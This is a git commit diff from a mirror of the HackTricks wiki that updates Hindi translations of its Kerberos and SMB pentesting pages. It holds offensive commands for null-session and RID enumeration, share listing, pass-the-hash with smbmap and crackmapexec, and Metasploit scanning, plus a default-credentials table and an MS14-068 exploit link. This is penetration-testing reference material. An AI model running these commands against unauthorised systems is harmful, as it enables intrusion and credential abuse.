mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-smb/README.md',
This commit is contained in:
parent
8c5d0f1d36
commit
c8c6f3d405
@ -4,20 +4,57 @@
|
|||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
**Kerberos** एक सिद्धांत पर काम करता है जहाँ यह उपयोगकर्ताओं को संसाधनों तक सीधे पहुँच प्रबंधित किए बिना प्रमाणित करता है। यह एक महत्वपूर्ण भेद है क्योंकि यह प्रोटोकॉल की सुरक्षा ढांचों में भूमिका को रेखांकित करता है।
|
**Kerberos** एक ऐसे सिद्धांत पर कार्य करता है जहाँ यह उपयोगकर्ताओं का प्रमाणीकरण करता है पर सीधे उनके संसाधनों तक पहुँच का प्रबंधन नहीं करता। यह एक महत्वपूर्ण भेद है क्योंकि यह प्रोटोकॉल की सुरक्षा ढाँचों में भूमिका को रेखांकित करता है।
|
||||||
|
|
||||||
**Active Directory** जैसे वातावरण में, **Kerberos** उपयोगकर्ताओं की पहचान स्थापित करने में महत्वपूर्ण है, उनके गुप्त पासवर्डों को मान्य करके। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक उपयोगकर्ता की पहचान की पुष्टि की जाती है इससे पहले कि वे नेटवर्क संसाधनों के साथ बातचीत करें। हालाँकि, **Kerberos** अपनी कार्यक्षमता को विशिष्ट संसाधनों या सेवाओं पर उपयोगकर्ता के पास अधिकारों का मूल्यांकन या प्रवर्तन करने तक नहीं बढ़ाता। इसके बजाय, यह उपयोगकर्ताओं को प्रमाणित करने का एक सुरक्षित तरीका प्रदान करता है, जो सुरक्षा प्रक्रिया में एक महत्वपूर्ण पहला कदम है।
|
Active Directory जैसे परिवेशों में, **Kerberos** उपयोगकर्ताओं की पहचान स्थापित करने में सहायक होता है, उनके गुप्त पासवर्ड को सत्यापित करके। यह प्रक्रिया यह सुनिश्चित करती है कि नेटवर्क संसाधनों के साथ इंटरैक्ट करने से पहले प्रत्येक उपयोगकर्ता की पहचान की पुष्टि हो। हालांकि, **Kerberos** किसी उपयोगकर्ता के विशेष संसाधनों या सेवाओं पर अधिकारों का मूल्यांकन या प्रवर्तन नहीं करता। इसके बजाय यह उपयोगकर्ताओं का सुरक्षित प्रमाणीकरण प्रदान करता है, जो सुरक्षा प्रक्रिया का एक महत्वपूर्ण पहला कदम है।
|
||||||
|
|
||||||
**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता की विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं के विभाजन की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
|
**Kerberos** द्वारा प्रमाणीकृत करने के बाद, संसाधनों तक पहुँच के बारे में निर्णय लेने की प्रक्रिया नेटवर्क की व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ तब प्रमाणीकृत उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिये ज़िम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता की विशेषताओं की जानकारी पर आधारित होती हैं। यह डिज़ाइन उपयोगकर्ता की पहचान प्रमाणीकृत करने और उनके पहुँच अधिकारों के प्रबंधन के बीच जिम्मेदारियों को अलग करने की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिये अधिक लचीला और सुरक्षित तरीका संभव होता है।
|
||||||
|
|
||||||
**Default Port:** 88/tcp/udp
|
**Default Port:** 88/tcp/udp
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
88/tcp open kerberos-sec
|
88/tcp open kerberos-sec
|
||||||
```
|
```
|
||||||
### **Kerberos का दुरुपयोग कैसे करना है, यह जानने के लिए आपको** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** के बारे में पोस्ट पढ़नी चाहिए।**
|
### **Kerberos का दुरुपयोग कैसे करें यह जानने के लिए आपको** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||||
|
|
||||||
## अधिक
|
## Kerberos-only environments: क्लाइंट की तैयारी और समस्या निवारण
|
||||||
|
|
||||||
|
जब domain services (SMB/WinRM/etc.) पर NTLM अक्षम होता है, तो आपको Kerberos के साथ प्रमाणीकृत होना होगा। सामान्य समस्याएँ और एक काम करने वाला वर्कफ़्लो:
|
||||||
|
|
||||||
|
- समय समन्वयन अनिवार्य है। यदि आपके होस्ट की घड़ी कुछ मिनटों से अधिक गलत हो तो आपको `KRB_AP_ERR_SKEW` दिखाई देगा और सभी Kerberos प्रमाणीकरण विफल हो जाएंगे। DC के साथ समय सिंक करें:
|
||||||
|
```bash
|
||||||
|
# quick one-shot sync (requires sudo)
|
||||||
|
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
|
||||||
|
```
|
||||||
|
- लक्षित realm/domain के लिए एक वैध krb5.conf जेनरेट करें। `netexec` (CME fork) SMB का परीक्षण करते समय आपके लिए एक फाइल उत्पन्न कर सकता है:
|
||||||
|
```bash
|
||||||
|
# Generate krb5.conf and install it
|
||||||
|
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||||
|
sudo cp krb5.conf /etc/krb5.conf
|
||||||
|
```
|
||||||
|
- TGT प्राप्त करें और ccache सत्यापित करें:
|
||||||
|
```bash
|
||||||
|
kinit <user>
|
||||||
|
klist
|
||||||
|
```
|
||||||
|
- Kerberos का उपयोग SMB tooling के साथ करें (no passwords sent, uses your ccache):
|
||||||
|
```bash
|
||||||
|
# netexec / CME
|
||||||
|
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
|
||||||
|
# impacket examples also support -k / --no-pass to use the ccache
|
||||||
|
smbclient --kerberos //<dc.fqdn>/IPC$
|
||||||
|
```
|
||||||
|
- GSSAPI SSH single sign-on (OpenSSH to Windows OpenSSH server):
|
||||||
|
```bash
|
||||||
|
# Ensure krb5.conf is correct and you have a TGT (kinit)
|
||||||
|
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
|
||||||
|
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||||
|
```
|
||||||
|
टिप्स:
|
||||||
|
- Ensure your `/etc/hosts` resolves the exact FQDN you will SSH/SMB to, and that it comes before any bare domain entries if you are overriding DNS. SPN mismatches break GSSAPI.
|
||||||
|
- If NTLM is disabled on SMB you may see `STATUS_NOT_SUPPORTED` with NTLM attempts; add `-k` to force Kerberos.
|
||||||
|
|
||||||
|
## और
|
||||||
|
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
@ -25,13 +62,21 @@ PORT STATE SERVICE
|
|||||||
|
|
||||||
### MS14-068
|
### MS14-068
|
||||||
|
|
||||||
MS14-068 दोष एक हमलावर को एक वैध उपयोगकर्ता के Kerberos लॉगिन टोकन के साथ छेड़छाड़ करने की अनुमति देता है ताकि झूठे तरीके से उच्चाधिकारों का दावा किया जा सके, जैसे कि एक डोमेन एडमिन होना। यह नकली दावा गलती से डोमेन कंट्रोलर द्वारा मान्य किया जाता है, जिससे Active Directory वन में नेटवर्क संसाधनों तक अनधिकृत पहुंच संभव होती है।
|
MS14-068 flaw एक attacker को वैध उपयोगकर्ता के Kerberos लॉगिन टोकन में छेड़छाड़ करने की अनुमति देती है ताकि वह गलत तरीके से elevated privileges का दावा कर सके, जैसे कि being a Domain Admin. यह counterfeit claim गलती से Domain Controller द्वारा मान्य कर लिया जाता है, जिससे Active Directory forest में नेटवर्क संसाधनों तक अनधिकृत पहुँच संभव हो जाती है।
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://adsecurity.org/?p=541
|
https://adsecurity.org/?p=541
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
अन्य शोषण: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
अन्य exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||||
|
|
||||||
|
## संदर्भ
|
||||||
|
|
||||||
|
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
|
||||||
|
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
|
||||||
|
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
|
|
||||||
## HackTricks स्वचालित कमांड
|
## HackTricks स्वचालित कमांड
|
||||||
```
|
```
|
||||||
|
@ -2,52 +2,52 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **पोर्ट 139**
|
## **Port 139**
|
||||||
|
|
||||||
The _**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे लोकल एरिया नेटवर्क (LAN) के भीतर एप्लिकेशन, PCs, और Desktops को नेटवर्क हार्डवेयर के साथ इंटरैक्ट करने और **नेटवर्क के माध्यम से डेटा के संचरण की सुविधा प्रदान करने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर चल रहे सॉफ़्टवेयर एप्लिकेशन की पहचान और स्थान उनके NetBIOS नामों के माध्यम से निर्धारित किए जाते हैं, जो अधिकतम 16 characters तक हो सकते हैं और अक्सर कंप्यूटर नाम से अलग होते हैं। दो एप्लिकेशनों के बीच एक NetBIOS सत्र तब आरंभ होता है जब एक एप्लिकेशन (acting as the client) दूसरी एप्लिकेशन (acting as the server) को "call" करने का कमांड जारी करता है, जो **TCP Port 139** का उपयोग करता है।
|
The _**Network Basic Input Output System**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है, जो लोकल एरिया नेटवर्क (LAN) के भीतर applications, PCs और Desktops को नेटवर्क हार्डवेयर के साथ इंटरैक्ट करने और **नेटवर्क के माध्यम से डेटा के प्रेषण की सुविधा प्रदान करने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर चलने वाले सॉफ़्टवेयर एप्लिकेशन की पहचान और स्थान उनके NetBIOS नामों के माध्यम से किया जाता है, जो अधिकतम 16 अक्षरों तक के हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो एप्लिकेशन के बीच NetBIOS सेशन तब आरंभ होता है जब एक एप्लिकेशन (acting as the client) दूसरी एप्लिकेशन (acting as the server) को "call" करने का कमांड जारी करता है, जो **TCP Port 139** का उपयोग करता है।
|
||||||
```
|
```
|
||||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
```
|
```
|
||||||
## Port 445
|
## Port 445
|
||||||
|
|
||||||
तकनीकी रूप से, Port 139 को ‘NBT over IP’ कहा जाता है, जबकि Port 445 को ‘SMB over IP’ कहा जाता है। संक्षेप **SMB** का अर्थ ‘**Server Message Blocks**’ है, जिसे आधुनिक रूप में **Common Internet File System (CIFS)** के नाम से भी जाना जाता है। एक application-layer नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का प्रमुख उपयोग फाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुँच सक्षम करने और नेटवर्क के नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं को सुगम बनाने के लिए होता है।
|
Technically, Port 139 is referred to as ‘NBT over IP’, whereas Port 445 is identified as ‘SMB over IP’. The acronym **SMB** stands for ‘**Server Message Blocks**’, which is also modernly known as the **Common Internet File System (CIFS)**. As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network.
|
||||||
|
|
||||||
उदाहरण के लिए, Windows के संदर्भ में यह बताया जाता है कि SMB सीधे TCP/IP के ऊपर काम कर सकता है, जिससे NetBIOS over TCP/IP की आवश्यकता खत्म हो जाती है, जब port 445 का उपयोग किया जाता है। इसके विपरीत, अन्य सिस्टमों पर port 139 का उपयोग देखा जाता है, जो संकेत देता है कि SMB को NetBIOS over TCP/IP के साथ मिलकर चलाया जा रहा है।
|
For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP.
|
||||||
```
|
```
|
||||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||||
```
|
```
|
||||||
### SMB
|
### SMB
|
||||||
|
|
||||||
The **Server Message Block (SMB)** प्रोटोकॉल, जो एक **client-server** मॉडल में काम करता है, **files** तक पहुँच, डायरेक्टरीज़ और प्रिन्टर्स व राउटर्स जैसे अन्य नेटवर्क संसाधनों के एक्सेस को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला में प्रयुक्त, SMB बैकवर्ड कम्पैटिबिलिटी सुनिश्चित करता है, जिससे Microsoft के नए वर्ज़न वाले डिवाइस पुराने वर्ज़न चलाने वाले डिवाइसों के साथ सहजता से इंटरैक्ट कर सकें। अतिरिक्त रूप से, **Samba** प्रोजेक्ट एक फ्री सॉफ्टवेयर समाधान प्रदान करता है, जो **Linux** और Unix सिस्टम पर SMB को इम्प्लीमेंट करने में सक्षम बनाता है और इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म कम्युनिकेशन को संभव बनाता है।
|
The **Server Message Block (SMB)** प्रोटोकॉल, जो **client-server** मॉडल में काम करता है, फाइलों, डायरेक्टरीज़ और प्रिंटर व राउटर जैसे अन्य नेटवर्क संसाधनों तक **access to files** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्यतः **Windows** ऑपरेटिंग सिस्टम परिवार में प्रयोग होने वाला, SMB पिछली संगतता सुनिश्चित करता है, जिससे Microsoft के नए वर्ज़न वाले डिवाइस पुराने वर्ज़न चलाने वाले डिवाइसों के साथ सहजता से इंटरैक्ट कर सकते हैं। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ्टवेयर समाधान प्रदान करता है, जो **Linux** और Unix सिस्टम पर SMB के कार्यान्वयन को सक्षम बनाता है और इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुगम बनाता है।
|
||||||
|
|
||||||
Shares, जो कि स्थानीय फ़ाइल सिस्टम के **arbitrary parts** का प्रतिनिधित्व करते हैं, SMB server द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरेरकी सर्वर की वास्तविक संरचना से आंशिक रूप से **independent** दिखाई देती है। **Access Control Lists (ACLs)**, जो **access rights** को परिभाषित करते हैं, उपयोगकर्ता अनुमतियों पर **fine-grained control** की अनुमति देते हैं, जिनमें `execute`, `read`, और `full access` जैसे गुण शामिल हैं। ये अनुमतियाँ shares के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को असाइन की जा सकती हैं, और सर्वर पर सेट स्थानीय अनुमतियों से अलग होती हैं।
|
Shares, जो **arbitrary parts of the local file system** को दर्शाते हैं, SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायारार्की सर्वर की वास्तविक संरचना से आंशिक रूप से **independent** दिख सकती है। **Access Control Lists (ACLs)**, जो **access rights** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **fine-grained control** की अनुमति देती हैं, जिनमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ Shares के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपा जा सकता है, और सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
|
||||||
|
|
||||||
### IPC$ Share
|
### IPC$ Share
|
||||||
|
|
||||||
IPC$ share तक पहुँच anonymous null session के माध्यम से प्राप्त की जा सकती है, जो named pipes के जरिए एक्सपोज़ की गई सेवाओं के साथ इंटरैक्शन की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही ढंग से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
|
IPC$ share तक पहुँच anonymous null session के माध्यम से प्राप्त की जा सकती है, जिससे named pipes के जरिए एक्सपोज़ किए गए सर्विसेज़ के साथ इंटरैक्शन संभव होता है। इस उद्देश्य के लिए `enum4linux` उपयोगी है। ठीक से उपयोग करने पर यह निम्नलिखित प्राप्त करने में सक्षम बनता है:
|
||||||
|
|
||||||
- ऑपरेटिंग सिस्टम की जानकारी
|
- ऑपरेटिंग सिस्टम की जानकारी
|
||||||
- parent domain के विवरण
|
- parent domain के विवरण
|
||||||
- स्थानीय users और groups की एक सूची
|
- स्थानीय उपयोगकर्ताओं और समूहों की सूची
|
||||||
- उपलब्ध SMB shares की जानकारी
|
- उपलब्ध SMB shares की जानकारी
|
||||||
- प्रभावी सिस्टम security policy
|
- सिस्टम की प्रभावी सुरक्षा नीति
|
||||||
|
|
||||||
यह कार्यक्षमता नेटवर्क प्रशासकों और सुरक्षा पेशेवरों के लिए नेटवर्क पर SMB (Server Message Block) सेवाओं की सुरक्षा स्थिति का आकलन करने के लिए महत्वपूर्ण है। `enum4linux` लक्ष्य प्रणाली के SMB वातावरण का एक व्यापक दृश्य प्रदान करता है, जो संभावित कमजोरियों की पहचान और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ ठीक से सुरक्षित हैं।
|
यह कार्यक्षमता नेटवर्क एडमिनिस्ट्रेटर्स और सुरक्षा पेशेवरों के लिए नेटवर्क पर SMB (Server Message Block) सेवाओं की सुरक्षा स्थिति का मूल्यांकन करने के लिए महत्वपूर्ण है। `enum4linux` लक्षित सिस्टम के SMB पर्यावरण का एक व्यापक दृश्य प्रदान करता है, जो संभावित कमजोरियों की पहचान करने और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ उचित रूप से सुरक्षित हैं।
|
||||||
```bash
|
```bash
|
||||||
enum4linux -a target_ip
|
enum4linux -a target_ip
|
||||||
```
|
```
|
||||||
ऊपर दिया गया कमांड यह उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ एक पूर्ण enumeration करने के लिए कैसे किया जा सकता है।
|
ऊपर दिया गया कमांड यह दिखाने का एक उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ full enumeration करने के लिए कैसे किया जा सकता है।
|
||||||
|
|
||||||
## NTLM क्या है
|
## NTLM क्या है
|
||||||
|
|
||||||
यदि आप NTLM के बारे में नहीं जानते हैं या आप यह जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप इस पृष्ठ को बहुत ही दिलचस्प पाएँगे जिसमें **NTLM** के बारे में बताया गया है और इसमें स्पष्ट किया गया है कि **यह प्रोटोकॉल कैसे काम करता है और आप इससे कैसे लाभ उठा सकते हैं:**
|
यदि आप नहीं जानते कि NTLM क्या है या आप यह जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आपको **NTLM** के बारे में यह पृष्ठ बहुत रोचक लगेगा जहाँ समझाया गया है कि **यह प्रोटोकॉल कैसे काम करता है और आप इससे कैसे लाभ उठा सकते हैं:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/ntlm/
|
../../windows-hardening/ntlm/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## **सर्वर Enumeration**
|
## **Server Enumeration**
|
||||||
|
|
||||||
### **Scan** नेटवर्क में होस्ट खोजने के लिए:
|
### **Scan** नेटवर्क में होस्ट खोजने के लिए:
|
||||||
```bash
|
```bash
|
||||||
@ -55,10 +55,10 @@ nbtscan -r 192.168.0.1/24
|
|||||||
```
|
```
|
||||||
### SMB सर्वर संस्करण
|
### SMB सर्वर संस्करण
|
||||||
|
|
||||||
SMB संस्करण के संभावित exploits की तलाश करने के लिए यह जानना ज़रूरी है कि कौन-सा संस्करण इस्तेमाल किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए tools में नहीं दिखती, तो आप कर सकते हैं:
|
SMB संस्करण के संभावित exploits ढूँढने के लिए यह जानना महत्वपूर्ण है कि कौन सा वर्ज़न उपयोग में है। अगर यह जानकारी अन्य उपयोग किए गए टूल्स में दिखाई नहीं देती है, तो आप:
|
||||||
|
|
||||||
- उपयोग करें **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
|
- उपयोग करें **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
|
||||||
- या यह script:
|
- या यह स्क्रिप्ट:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
#Author: rewardone
|
#Author: rewardone
|
||||||
@ -75,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
|||||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||||
echo "" && sleep .1
|
echo "" && sleep .1
|
||||||
```
|
```
|
||||||
### **खोजें exploit**
|
### **खोज exploit**
|
||||||
```bash
|
```bash
|
||||||
msf> search type:exploit platform:windows target:2008 smb
|
msf> search type:exploit platform:windows target:2008 smb
|
||||||
searchsploit microsoft smb
|
searchsploit microsoft smb
|
||||||
```
|
```
|
||||||
### **संभावित** क्रेडेंशियल्स
|
### **संभावित** क्रेडेंशियल्स
|
||||||
|
|
||||||
| **Username(s)** | **Common passwords** |
|
| **यूज़रनेम(स)** | **सामान्य पासवर्ड** |
|
||||||
| -------------------- | ----------------------------------------- |
|
| -------------------- | ----------------------------------------- |
|
||||||
| _(blank)_ | _(blank)_ |
|
| _(blank)_ | _(blank)_ |
|
||||||
| guest | _(blank)_ |
|
| guest | _(blank)_ |
|
||||||
@ -96,7 +96,7 @@ searchsploit microsoft smb
|
|||||||
|
|
||||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||||
|
|
||||||
### SMB Environment Information
|
### SMB पर्यावरण जानकारी
|
||||||
|
|
||||||
### जानकारी प्राप्त करें
|
### जानकारी प्राप्त करें
|
||||||
```bash
|
```bash
|
||||||
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||||
```
|
```
|
||||||
### उपयोगकर्ताओं, समूहों और लॉग-ऑन उपयोगकर्ताओं को सूचीबद्ध करें
|
### उपयोगकर्ता, समूह और लॉग इन किए हुए उपयोगकर्ताओं को सूचीबद्ध करें
|
||||||
|
|
||||||
यह जानकारी पहले से enum4linux और enum4linux-ng से एकत्र की जा चुकी होनी चाहिए।
|
यह जानकारी पहले से enum4linux और enum4linux-ng से एकत्र की जा चुकी होनी चाहिए।
|
||||||
```bash
|
```bash
|
||||||
@ -140,38 +140,38 @@ enumdomgroups
|
|||||||
```bash
|
```bash
|
||||||
lookupsid.py -no-pass hostname.local
|
lookupsid.py -no-pass hostname.local
|
||||||
```
|
```
|
||||||
वन-लाइनर
|
एक-पंक्ति कमांड
|
||||||
```bash
|
```bash
|
||||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||||
```
|
```
|
||||||
### Metasploit - स्थानीय उपयोगकर्ताओं को सूचीबद्ध करना
|
### Metasploit - स्थानीय उपयोगकर्ताओं की सूची निकालना
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/smb/smb_lookupsid
|
use auxiliary/scanner/smb/smb_lookupsid
|
||||||
set rhosts hostname.local
|
set rhosts hostname.local
|
||||||
run
|
run
|
||||||
```
|
```
|
||||||
### **LSARPC और SAMR rpcclient का एन्यूमरेशन**
|
### **LSARPC और SAMR rpcclient का सूचीकरण**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
rpcclient-enumeration.md
|
rpcclient-enumeration.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### linux से GUI कनेक्शन
|
### GUI connection from linux
|
||||||
|
|
||||||
#### टर्मिनल में:
|
#### टर्मिनल में:
|
||||||
|
|
||||||
`xdg-open smb://cascade.htb/`
|
`xdg-open smb://cascade.htb/`
|
||||||
|
|
||||||
#### फाइल ब्राउज़र विंडो में (nautilus, thunar, आदि)
|
#### फ़ाइल ब्राउज़र विंडो में (nautilus, thunar, etc)
|
||||||
|
|
||||||
`smb://friendzone.htb/general/`
|
`smb://friendzone.htb/general/`
|
||||||
|
|
||||||
## साझा फ़ोल्डरों का एन्यूमरेशन
|
## साझा फ़ोल्डरों की सूचीकरण
|
||||||
|
|
||||||
### साझा फ़ोल्डरों की सूची
|
### साझा फ़ोल्डरों की सूची
|
||||||
|
|
||||||
हमेशा यह सलाह दी जाती है कि देखें कि क्या आप किसी भी चीज़ तक पहुँच सकते हैं। अगर आपके पास credentials नहीं हैं, तो **null** **credentials/guest user** का उपयोग करने का प्रयास करें।
|
यह हमेशा सुझाया जाता है कि देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं; यदि आपके पास credentials नहीं हैं तो **null** **credentials/guest user** का उपयोग करने का प्रयास करें।
|
||||||
```bash
|
```bash
|
||||||
smbclient --no-pass -L //<IP> # Null user
|
smbclient --no-pass -L //<IP> # Null user
|
||||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||||
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
|||||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||||
```
|
```
|
||||||
### **एक साझा फ़ोल्डर जोड़ें/सूचीबद्ध करें**
|
### **शेयर किए गए फ़ोल्डर को कनेक्ट/सूचीबद्ध करें**
|
||||||
```bash
|
```bash
|
||||||
#Connect using smbclient
|
#Connect using smbclient
|
||||||
smbclient --no-pass //<IP>/<Folder>
|
smbclient --no-pass //<IP>/<Folder>
|
||||||
@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
|||||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||||
```
|
```
|
||||||
### **मैन्युअली windows shares को enumerate करें और उनसे कनेक्ट करें**
|
### **मैन्युअली windows shares को सूचीबद्ध करें और उनसे कनेक्ट करें**
|
||||||
|
|
||||||
